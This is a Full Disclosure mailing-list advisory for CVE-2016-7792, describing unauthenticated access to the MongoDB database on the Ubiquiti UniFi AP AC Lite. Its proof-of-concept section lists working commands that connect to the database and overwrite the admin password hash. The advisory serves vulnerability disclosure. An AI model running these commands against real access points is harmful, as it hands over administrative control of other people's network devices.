Hello @all,
together with my colleague we found two uncritical vulnerabilities you'll find
below.
Product: UniFi AP AC Lite
Vendor: Ubiquiti Networks Inc.
Internal reference: ? (Bug ID)
Vulnerability type: Incorrect access control
Vulnerable version: Unify 5.2.7 and possible other versions affected (not
tested)
Vulnerable component: Database
Report confidence: yes
Solution status: Not fixed by Vendor, the bug is a feature.
Fixed versions: -
Researcher credits: Tim Schughart, Immanuel Bär, Khanh Quoc Pham of ProSec
Networks
Solution date: -
Public disclosure: 2016-09-30
CVE reference: CVE-2016-7792
CVSSv3: 8.8 AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Vulnerability Details:
You are able to connect to the access points database, because of an broken
authentication (OWASP TOP10). So you are able to modify the database and read
the data. An possible scenario you'll find in PoC section.
Risk:
An attacker gets access to the database and for e.g. is able to change the
admins password, like you see in PoC below.
PoC:
1. Generate SHA512 Hash with e.g.
mkpasswd -m sha-512
2. Connect via network to database, e.g. :
mongo --port 27117 --host target_ip
3. Change password via command
"db.admin.update({"name":"ProSec"}, {$set : {"x_shadow":
"$6$Se9i5I7k3hI8d4bk$CqEXRUwk7c7A/62E/HcC4SrMSLOrBdm7wRvwTS4t.nNJA3RYta0RfzJpuREg.qcAHsPGW9Gjwm3krJROXzbCv."}})"
4. Login via web interface with new password
Best regards / Mit freundlichen Grüßen
Tim Schughart
CEO / Geschäftsführer
--
ProSec Networks e.K.
Ellingshohl 82
56077 Koblenz
Website: https://www.prosec-networks.com
E-Mail: t.schugh...@prosec.networks.com
Mobile: +49 (0)157 7901 5826
Phone: +49 (0)261 450 930 90
"This E-Mail communication may contain CONFIDENTIAL, PRIVILEGED and/or LEGALLY
PROTECTED information and is intended only for the named recipient(s). Any
unauthorized use, dissemination, copying or forwarding is strictly prohibited.
If you are not the intended recipient and have received this email
communication in error, please notify the sender immediately, delete it and
destroy all copies of this E-Mail. VAT ID: DE290654714 legal domicile Koblenz,
HRA 21625.“
"Diese E-Mail Mitteilung kann VERTRAULICHE, dem BERUFSGEHEIMNIS UNTERLIEGENDE
und/oder RECHTLICH GESCHÜTZTE Informationen enthalten und ist ausschließlich
für den/die genannten Adressaten bestimmt. Jede unbefugte Nutzung, Weitergabe,
Vervielfältigung oder Versendung ist strengstens verboten. Sollten Sie nicht
der angegebene Adressat sein und diese E-Mail Mitteilung irrtümlich erhalten
haben, informieren Sie bitte sofort den Absender, löschen diese E-Mail und
vernichten alle Kopien. USt-IdNr.: DE290654714, Amtsgericht Koblenz, HRA
21625."
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
